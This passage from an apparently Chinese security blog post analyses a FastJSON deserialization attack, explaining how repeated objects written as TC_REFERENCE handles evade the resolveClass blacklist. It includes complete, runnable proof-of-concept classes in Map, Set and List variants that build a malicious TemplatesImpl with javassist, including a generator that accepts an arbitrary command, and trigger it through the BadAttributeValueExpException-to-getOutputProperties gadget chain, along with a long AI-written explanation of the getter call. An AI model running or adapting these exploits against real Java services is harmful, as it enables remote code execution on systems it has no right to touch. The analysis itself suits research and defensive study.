System.out.println("第二个对象:" + person2);
System.out.println("是同一个对象吗?" + (person1 == person2)); // 注意:反序列化后不是同一个对象

ois.close();
}

// 分析数据中所有的TC类型码
public static void analyzeTCCodes(byte[] data) {
for (int i = 0; i < data.length; i++) {
byte b = data[i];
if (b == 0x73) {
System.out.println("位置 " + i + ": 发现 TC_OBJECT (0x73) - 普通对象标签");
} else if (b == 0x71) {
System.out.println("位置 " + i + ": 发现 TC_REFERENCE (0x71) - 引用标签 ⭐");
} else if (b == 0x72) {
System.out.println("位置 " + i + ": 发现 TC_CLASSDESC (0x72) - 类描述标签");
}
}
}
}

// 简单的测试类
class Person implements Serializable {
private String name;

public Person(String name) {
this.name = name;
}

@Override
public String toString() {
return "Person{name='" + name + "'}";
}
}

大部分类型码都会指向调用resolveclass的分析

上面的不同case中大部分类都会最终调用readClassDesc去获取类的描述符,在这个过程中如果当前反序列化数据下一位仍然是TC_CLASSDESC那么就会在readNonProxyDesc中触发resolveClass

1
2
3
4
5
readOrdinaryObject() 
→ 读取对象头信息
→ readClassDesc() // 需要获取类描述符
→ readNonProxyDesc() 或 readProxyDesc()
→ resolveClass() // 最终调用
1
2
3
4
readArray()
→ readClassDesc() // 数组也需要类描述符
→ readNonProxyDesc()
→ resolveClass() // 最终调用

但是并不是所有的都会触发resolveClass()
resolveclass是拿过来做黑名单的类似于waf通过上文可知

我们只需要做到类型最终不会触发resolveclass那么最终就可以实现绕过waf加载我们想要的类

绕过resolveClass的类型码

以下类型码不会调用resolveClass

  • TC_NULL: 空值
  • TC_REFERENCE: 引用类型(关键)
  • TC_STRING/TC_LONGSTRING: 字符串
  • TC_EXCEPTION: 异常对象

引用类型是什么

看一段小代码就立马能看懂了(如果上面都有看的话)

1
2
3
4
5
6
A a = new A();
B b1 = new B(a);
B b2 = new B(a); // 这里 a 被重复使用

ObjectOutputStream.writeObject(b1);
ObjectOutputStream.writeObject(b2); // 序列化 a 第二次时会写入 TC_REFERENCE

所以我们这次只需要重复写入同一个对象的时候就会使用TC_REFERENCE

那么就能实现绕过resolveclass()

也就是重复写入两个templatesImpl这个恶意类两次即可

1
2
3
4
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
arrayList.add(templates);
writeObjects(arrayList);

在一个数组里写入同一个对象的时候会从hash表中找到映射

然后通过存在映射就把重复的对象用引用类型写入

当我们写入对象时,会在handles这个哈希表中建立从对象到引用的映射

image-20230426105607843

当再次写入同一对象时,在handles这个hash表中查到了映射

image-20230426110435564

那么就会通过writeHandle将重复对象以引用类型写入

image-20230426110523137

因此我们就可以利用这个思路构建攻击的payload了,这里简单以伪代码呈现,便于理解思路

1
2
3
4
5
6
7
8
9
10
11
TemplatesImpl templates = TemplatesImplUtil.getEvilClass("open -na Calculator");
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException bd = getBadAttributeValueExpException(jsonArray);
arrayList.add(bd);

WriteObjects(arrayList);

简单梳理下

序列化时,在这里templates先加入到arrayList中,后面在JSONArray中再次序列化TemplatesImpl时,由于在handles这个hash表中查到了映射,后续则会以引用形式输出

反序列化时ArrayList先通过readObject恢复TemplatesImpl对象,之后恢复BadAttributeValueExpException对象,在恢复过程中,由于BadAttributeValueExpException要恢复val对应的JSONArray/JSONObject对象,会触发JSONArray/JSONObject的readObject方法,将这个过程委托给SecureObjectInputStream,在恢复JSONArray/JSONObject中的TemplatesImpl对象时,由于此时的第二个TemplatesImpl对象是引用类型,通过readHandle恢复对象的途中不会触发resolveClass,由此实现了绕过

当然前面也提到了不仅仅是List,Set与Map类型都能成功触发引用绕过。

poc:如下(原本是自己拼拼凑凑的没看到符合自己想法的完整poc,后面发现infernity师傅也写了,只不过只贴了main部分的,下面是完整版的)

恶意类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package org.hantest.fastjsonreadobject;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class calc extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet{
static {
try {
Process calc = Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

poc map:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package org.hantest.fastjsonreadobject;

import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class hanfastjsonmappoc {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static byte[] genPayload(String cmd) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}
//提供需要序列化的类,返回base64后的字节码
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
//提供base64后的字节码,进行反序列化
public static void unserialize(String exp) throws IOException,ClassNotFoundException{
byte[] bytes = Base64.getDecoder().decode(exp);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
//生成一个templates,参数为需要加载的恶意类字节码
public static Object getTemplates(byte[] bytes) throws Exception {
Templates templates = new TemplatesImpl();
setValue(templates, "_bytecodes", new byte[][]{bytes});
setValue(templates, "_name", "Infernity");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}

public static void main(String[] args) throws Exception{

byte[] bytes = ClassPool.getDefault().get(calc.class.getName()).toBytecode();
Templates templates = (Templates) getTemplates(bytes);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setValue(bd,"val",jsonArray);

HashMap hashMap = new HashMap();
hashMap.put(templates,bd);

String ser = serialize(hashMap);
System.out.println(ser);
unserialize(ser);

}
}

poc set:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
package org.hantest.fastjsonreadobject;

import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Set;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class hanfastjsonsetpoc {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static byte[] genPayload(String cmd) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}
//提供需要序列化的类,返回base64后的字节码
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
//提供base64后的字节码,进行反序列化
public static void unserialize(String exp) throws IOException,ClassNotFoundException{
byte[] bytes = Base64.getDecoder().decode(exp);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
//生成一个templates,参数为需要加载的恶意类字节码
public static Object getTemplates(byte[] bytes) throws Exception {
Templates templates = new TemplatesImpl();
setValue(templates, "_bytecodes", new byte[][]{bytes});
setValue(templates, "_name", "Infernity");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}

public static void main(String[] args) throws Exception{

byte[] bytes = ClassPool.getDefault().get(calc.class.getName()).toBytecode();
Templates templates = (Templates) getTemplates(bytes);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
setValue(exception, "val", jsonArray);

Set set = new HashSet();
set.add(templates);
set.add(exception);

String ser = serialize(set);
unserialize(ser);

}
}

poc list:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80

package org.hantest.fastjsonreadobject;

import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.*;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class hanfastjsonlistpoc {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static byte[] genPayload(String cmd) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}
//提供需要序列化的类,返回base64后的字节码
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
//提供base64后的字节码,进行反序列化
public static void unserialize(String exp) throws IOException,ClassNotFoundException{
byte[] bytes = Base64.getDecoder().decode(exp);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
//生成一个templates,参数为需要加载的恶意类字节码
public static Object getTemplates(byte[] bytes) throws Exception {
Templates templates = new TemplatesImpl();
setValue(templates, "_bytecodes", new byte[][]{bytes});
setValue(templates, "_name", "Infernity");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}

public static void main(String[] args) throws Exception{

byte[] bytes = ClassPool.getDefault().get(calc.class.getName()).toBytecode();
Templates templates = (Templates) getTemplates(bytes);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
setValue(exception, "val", jsonArray);


ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
arrayList.add(exception);

String ser = serialize(arrayList);
unserialize(ser);

}
}

利用链:

链子还是上面低版本的链子BadAttributeValueExpException的链子

1
2
3
4
5
6
7
8
BadAttributeValueExpException.readObject()
→ JSONArray.toString()
→ JSON.toJSONString(this)
→ SerializeWriter.write()
→ ASM生成的JavaBeanSerializer.write()
→ entity.getOutputProperties() // ← 真正的getter调用
→ TemplatesImpl加载恶意字节码
→ 执行恶意代码

高版本的利用链在这个低版本的利用链里的getBadAttributeValueExpException这里再加了个数组

并且写了两次TemplatesImpl类

稍微要再变动一下不知道该怎么写(所以放了这个地方的改动在这里大概理解一下就好(

1
2
3
4
5
6
7
8
9
10
11
TemplatesImpl templates = TemplatesImplUtil.getEvilClass("open -na Calculator");
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException bd = getBadAttributeValueExpException(jsonArray);
arrayList.add(bd);

WriteObjects(arrayList);

——–

下面的所有内容都是AI对write里的getter调用的分析的补充描述(便于更好的理解,看自己需求是否跳过)

文章里的_get方法是一个生成asm字节的代码

asm生成的是一个可执行的字节码放在exp里也就是谈计算器的命令

1
2
3
4
5
6
mw.visitMethodInsn(
declaringClass.isInterface() ? 185 : 182, // 参数1: 操作码
ASMUtils.type(declaringClass), // 参数2: 类名
method.getName(), // 参数3: 方法名
ASMUtils.desc(method) // 参数4: 方法描述符
);

这里不会立即调用! 这只是在生成字节码指令,不是执行调用。

对应关系:

参数1: declaringClass.isInterface() ? 185 : 182

  • 185 = INVOKEINTERFACE 指令码
  • 182 = INVOKEVIRTUAL 指令码
  • 根据声明类是否为接口选择调用指令

参数2: ASMUtils.type(declaringClass)

  • 将类名转换为字节码格式
  • 例如:com.example.Productcom/example/Product

参数3: method.getName()

  • 获取方法名
  • 例如:getPricegetCreateTime

参数4: ASMUtils.desc(method)

  • 生成方法描述符(方法签名)
  • 例如:()I (无参数返回int)、()Ljava/util/Date; (无参数返回Date)

生成的字节码示例:

1
2
3
4
5
// 如果是普通类的方法
INVOKEVIRTUAL com/example/Product.getPrice ()I

// 如果是接口方法
INVOKEINTERFACE com/example/OrderInfo.getCreateTime ()Ljava/util/Date;

这一行代码就是实际生成”调用getter方法”的字节码指令。

真正的调用发生在:

1
2
3
// 假设生成的方法叫 serializeProduct
Method generatedMethod = ...; // 包含上述字节码的方法
generatedMethod.invoke(serializer, productObject); // ← 这里才是真正调用点

generatedMethod.invoke()执行时,JVM才会:

  1. 加载productObject到栈
  2. 调用productObject.getPrice() ← 这里才是getter的真正调用
  3. 进行类型转换

是的,你理解得对!这里的 itemSerializer.write() 最终会触发getter调用。

为什么write会触发getter?

  1. 序列化的本质

当FastJSON要将一个对象转换为JSON字符串时,它需要获取对象的所有属性值。有两种方式:

  • 直接访问字段(field)
  • 通过getter方法获取
  1. write方法的职责

itemSerializer.write() 的作用是将对象序列化为JSON,它必须:

  • 遍历对象的所有可序列化属性
  • 获取每个属性的值
  • 将值转换为JSON格式
  1. 具体的触发逻辑

当调用 itemSerializer.write() 时:

1
2
3
4
5
6
7
8
9
10
11
// 简化的write方法逻辑
public void write(JSONSerializer serializer, Object object, ...) {
// 遍历所有需要序列化的字段
for (FieldInfo field : fields) {
// 获取字段值 - 这里会调用getter
Object value = getFieldValue(object, field); // ← 关键点

// 写入JSON
serializer.write(field.name, value);
}
}
  1. getFieldValue的实现

在你之前看到的ASM生成的代码中:

1
2
3
4
5
6
7
8
// ASM生成的getFieldValue等价于:
private Object getFieldValue(Object obj, FieldInfo field) {
if (field.method != null) {
return obj.getOutputProperties(); // ← 这里调用getter
} else {
return obj.fieldName; // 直接访问字段
}
}
  1. 完整调用流程
1
2
3
4
5
6
7
8
9
10
11
itemSerializer.write(serializer, templatesImpl, ...)

遍历TemplatesImpl的所有字段

发现getOutputProperties方法对应的字段

调用 templatesImpl.getOutputProperties() // ← 真正的getter调用

TemplatesImpl.getOutputProperties()触发字节码加载

执行恶意代码

关键理解

write方法触发getter的原因

  • write方法需要获取对象的属性值来进行序列化
  • FastJSON优先使用getter方法获取值(符合JavaBean规范)
  • 之前看到的ASM代码就是生成了这种”获取属性值”的字节码
  • 当write方法执行时,这些字节码被调用,从而触发getter

所以这个write就是序列化的核心方法,它必须调用getter来获取对象的属性值,这就是为什么它会触发getter调用的根本原因。

write方法调用getter的具体实现

  1. write方法的入口
1
2
3
public void write(JSONSerializer serializer, Object object, Object fieldName, Type fieldType, int features) {
// 这里的object就是TemplatesImpl对象
}
  1. ASM生成的关键逻辑

还记得之前看到的ASM代码生成吗?它会生成类似这样的字节码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// ASM生成的write方法伪代码
public void write(JSONSerializer serializer, Object object, ...) {
TemplatesImpl entity = (TemplatesImpl) object;

// 写入第一个属性 - 比如outputProperties
serializer.writeFieldName("outputProperties");

// 关键:这里调用getter获取属性值
Properties value = entity.getOutputProperties(); // ← 这里就是真正的getter调用

// 将获取到的值序列化
serializer.writeFieldValue(value);

// 继续处理其他属性...
}
  1. 为什么会调用getOutputProperties()

FastJSON在序列化时会:

  1. 扫描TemplatesImpl类,发现有getOutputProperties()方法

  2. 根据JavaBean规范,认为这是一个可序列化的属性

  3. 生成ASM代码,在write方法中调用这个getter

  4. 执行时,write方法被调用,触发entity.getOutputProperties()

  5. 具体的字节码执行

之前看到的ASM生成代码:

1
2
3
mw.visitVarInsn(25, context.var("entity"));  // 加载entity对象
mw.visitMethodInsn(182, "com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl",
"getOutputProperties", "()Ljava/util/Properties;"); // 调用getter

这段字节码在运行时等价于:

1
entity.getOutputProperties(); // 直接调用getter方法
  1. 完整的调用栈
1
2
3
4
5
6
7
8
BadAttributeValueExpException.readObject()
→ JSONArray.toString()
→ JSON.toJSONString(this)
→ SerializeWriter.write()
→ ASM生成的JavaBeanSerializer.write()
→ entity.getOutputProperties() // ← 真正的getter调用
→ TemplatesImpl加载恶意字节码
→ 执行恶意代码

核心理解

write方法调用getter的本质

  • write方法是序列化器,需要获取对象的所有属性值
  • FastJSON通过ASM动态生成高效的序列化代码
  • 生成的代码直接调用getter方法获取属性值
  • 这不是反射调用,而是直接的方法调用,所以性能很高

所以write方法中调用getter是硬编码在动态生成的字节码中的,当write方法执行时,就会直接调用getOutputProperties()方法。

你说得非常对!我上面的命名确实容易混淆。让我用更清晰的命名来重新演示:现在让我再详细解释一下不同层面的”getName”概念:

概念区分

  1. 业务层面的getter方法
1
2
3
4
5
// 这是程序员写的业务代码中的getter方法
public String getUsername() {
System.out.println("业务方法被调用");
return username;
}
  1. 反射层面的方法名获取
1
2
Method businessMethod = TestUser.class.getMethod("getUsername");
String methodNameString = businessMethod.getName(); // 返回字符串 "getUsername"
  1. ASM层面的字节码生成
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// _get方法中的关键部分
private void _get(MethodVisitor mw, ASMSerializerFactory.Context context, FieldInfo fieldInfo) {
Method businessGetterMethod = fieldInfo.method; // 这是业务getter方法的引用

if (businessGetterMethod != null) {
// 获取方法名字符串,用于生成字节码指令
String methodNameForBytecode = businessGetterMethod.getName(); // "getUsername"

// 生成字节码指令
mw.visitMethodInsn(INVOKEVIRTUAL,
"TestUser", // 类名
methodNameForBytecode, // "getUsername" - 方法名字符串
"()Ljava/lang/String;"); // 方法签名
}
}

调用链路图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
第一层:业务代码
┌─────────────────────────┐
│ public String │
│ getUsername() { │ ← 这是程序员写的业务getter方法
│ return username; │
│ } │
└─────────────────────────┘

│ 最终被调用

第二层:ASM字节码生成
┌─────────────────────────┐
│ Method businessMethod = │
│ fieldInfo.method; │ ← 这里存储的是上面业务方法的引用
│ │
│ String methodName = │
│ businessMethod │ ← 调用反射API获取方法名字符串
│ .getName(); │ 返回 "getUsername"
│ │
│ mw.visitMethodInsn(..., │
│ methodName, ...); │ ← 用方法名字符串生成字节码
└─────────────────────────┘

│ 生成调用指令

第三层:反射扫描
┌─────────────────────────┐
│ for (Method m : methods)│
│ if (m.getName() │ ← 这里也调用getName(),但是用途不同
│ .startsWith("get"))│ 是为了识别哪些是getter方法
│ { │
│ // 发现getter方法 │
│ } │
└─────────────────────────┘

关键区别总结

  1. 业务getter方法: getUsername() - 这是程序员编写的实际业务逻辑
  2. 反射方法名获取: method.getName() - 返回字符串”getUsername”,用于识别和生成字节码
  3. ASM字节码指令: INVOKEVIRTUAL TestUser.getUsername - 最终生成的调用指令

核心理解

  • fieldInfo.method 存储的是业务getter方法的引用
  • method.getName() 获取的是方法名字符串,用于生成字节码
  • ASM用这个字符串生成字节码指令
  • 字节码执行时,实际调用的是业务getter方法

这样命名区分是否更清楚了?

这是一个非常好的问题!method.getName()不是固定的,它会根据不同的getter方法而变化。

让我用具体例子来演示:## 核心答案

**method.getName()是动态变化的!**它会根据每个不同的getter方法返回不同的方法名:

1
2
3
4
5
6
// 对于不同的getter方法,method.getName()返回不同的值:

public String getName() → method.getName() 返回 "getName"
public int getAge() → method.getName() 返回 "getAge"
public String getEmail() → method.getName() 返回 "getEmail"
public boolean isActive() → method.getName() 返回 "isActive"

ASM生成的字节码指令也会相应变化

当FastJSON处理每个getter时,ASM会生成不同的调用指令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// 对于getName()方法
mw.visitMethodInsn(INVOKEVIRTUAL,
"Employee", // 类名
"getName", // ← 方法名:getName
"()Ljava/lang/String;"); // 签名

// 对于getAge()方法
mw.visitMethodInsn(INVOKEVIRTUAL,
"Employee", // 类名
"getAge", // ← 方法名:getAge (不同了!)
"()I"); // 签名

// 对于getEmail()方法
mw.visitMethodInsn(INVOKEVIRTUAL,
"Employee", // 类名
"getEmail", // ← 方法名:getEmail (又不同了!)
"()Ljava/lang/String;"); // 签名

// 对于isActive()方法
mw.visitMethodInsn(INVOKEVIRTUAL,
"Employee", // 类名
"isActive", // ← 方法名:isActive (布尔类型的getter)
"()Z"); // 签名

生成的字节码等价于不同的Java调用

1
2
3
4
5
// ASM生成的字节码分别等价于:
String name = employee.getName(); // 调用getName()
int age = employee.getAge(); // 调用getAge()
String email = employee.getEmail(); // 调用getEmail()
boolean active = employee.isActive(); // 调用isActive()

流程总结

  1. 第二步:FastJSON扫描类,发现所有getter方法
    • 发现getName(), getAge(), getEmail(), isActive()
  2. 第三步:对每个发现的getter,ASM都会调用_get方法生成字节码
    • 处理getName()时:method.getName()返回"getName"
    • 处理getAge()时:method.getName()返回"getAge"
    • 处理getEmail()时:method.getName()返回"getEmail"
    • 处理isActive()时:method.getName()返回"isActive"
  3. 结果:每个不同的getter都会生成对应的调用指令

所以**method.getName()绝对不是固定的,它是根据当前正在处理的具体getter方法动态变化的**!

这就是为什么FastJSON能够调用对象的所有getter方法,而不只是某一个固定的方法。

FastJSON与原生反序列化完整分析

核心原理概述

FastJSON在进行序列化(不是反序列化)时会调用目标对象的getter方法,这个特性可以通过原生Java反序列化机制来触发,从而绕过FastJSON的AutoType检查。

  1. 攻击链路分析

1.1 完整攻击流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
BadAttributeValueExpException.readObject()

JSONArray.toString() // 触发FastJSON序列化

JSON.toJSONString(this)

SerializeWriter.write()

ObjectSerializer.write() // 序列化器写入方法

ASM生成的getter调用代码

TemplatesImpl.getOutputProperties() // 恶意getter方法

恶意字节码加载和执行

1.2 关键触发点

  • 不是JSON解析触发:这里不涉及JSON.parse()等反序列化方法
  • 序列化触发getter:通过JSON.toJSONString()序列化过程调用getter
  • 原生反序列化入口:通过BadAttributeValueExpException.readObject()作为入口
  1. FastJSON序列化机制深度分析

2.1 getter方法调用规则

FastJSON在序列化Bean时会调用符合以下条件的方法:

  • 方法名以get开头(长度>3)或以is开头(长度>2)
  • 有返回值(返回类型不为void)
  • 无参数
  • public修饰符

验证代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
@Getter
@Setter
public class TestBean {
private Integer age;

public String getPerson2(String s) { // 不会调用:有参数
System.out.println("getPerson2");
return "abc";
}

public void getPerson4() { // 不会调用:返回void
System.out.println("getPerson4");
}

public String getPerson3() { // 会调用:符合规则
System.out.println("getPerson3");
return "abc";
}
}

// 测试
TestBean bean = new TestBean();
bean.setAge(18);
System.out.println(JSON.toJSONString(bean)); // 只会打印"getPerson3"

2.2 序列化器生成过程

第一步:BeanInfo构建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public static SerializeBeanInfo buildBeanInfo(Class<?> beanType, ...) {
// 1. 通过反射获取所有public方法
Method[] methods = beanType.getMethods();

List<FieldInfo> fieldInfoList = new ArrayList<>();

// 2. 遍历方法,识别getter
for (Method method : methods) {
String methodName = method.getName();

// 3. 判断是否为getter方法
if (methodName.startsWith("get") && methodName.length() > 3
&& method.getReturnType() != void.class
&& method.getParameterCount() == 0) {

// getXxx() -> xxx
String propertyName = methodName.substring(3);
propertyName = Character.toLowerCase(propertyName.charAt(0))
+ propertyName.substring(1);

// 4. 创建FieldInfo
FieldInfo fieldInfo = new FieldInfo(propertyName, method, ...);
fieldInfoList.add(fieldInfo);
}
}

// 5. 返回BeanInfo
return new SerializeBeanInfo(beanType, fieldInfoList.toArray(...));
}

第二步:ASM动态代码生成

1
2
3
4
5
6
7
8
9
10
11
12
// ASM生成的序列化器伪代码
public class TemplatesImplSerializer implements ObjectSerializer {
public void write(JSONSerializer serializer, Object object, ...) {
TemplatesImpl entity = (TemplatesImpl) object;

// 调用getOutputProperties()获取属性值
Properties outputProperties = entity.getOutputProperties(); // ← 恶意调用
serializer.writeFieldValue("outputProperties", outputProperties);

// 处理其他getter方法...
}
}

第三步:_get方法字节码生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void _get(MethodVisitor mw, ASMSerializerFactory.Context context, FieldInfo fieldInfo) {
Method method = fieldInfo.method; // 这是具体的getter方法引用
if (method != null) {
// 1. 加载对象到栈
mw.visitVarInsn(ALOAD, context.var("entity"));

// 2. 生成方法调用指令
Class<?> declaringClass = method.getDeclaringClass();
mw.visitMethodInsn(
declaringClass.isInterface() ? INVOKEINTERFACE : INVOKEVIRTUAL,
ASMUtils.type(declaringClass), // 类名:TemplatesImpl
method.getName(), // 方法名:getOutputProperties
ASMUtils.desc(method) // 方法签名:()Ljava/util/Properties;
);
}
}

重要说明:

  • method.getName()不是固定值,会根据不同的getter方法返回不同的方法名
  • 对于getOutputProperties(),返回"getOutputProperties"
  • 对于getName(),返回"getName"
  • ASM为每个发现的getter方法都会生成对应的调用代码
  1. 攻击载荷构造

3.1 TemplatesImpl利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 构造恶意字节码
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("EvilClass");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);

// 创建TemplatesImpl实例
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", new byte[][]{clazz.toBytecode()});
setFieldValue(templates, "_name", "EvilTemplates");
setFieldValue(templates, "_tfactory", null);

3.2 触发序列化的容器

1
2
3
4
5
6
7
// 使用JSONArray作为容器
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

// 通过BadAttributeValueExpException触发toString
BadAttributeValueExpException trigger = new BadAttributeValueExpException(null);
setFieldValue(trigger, "val", jsonArray);

3.3 完整利用代码(FastJSON 1.2.48)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

public class FastJSONExploit {
public static void setFieldValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {
// 1. 构造恶意字节码
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("EvilClass");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
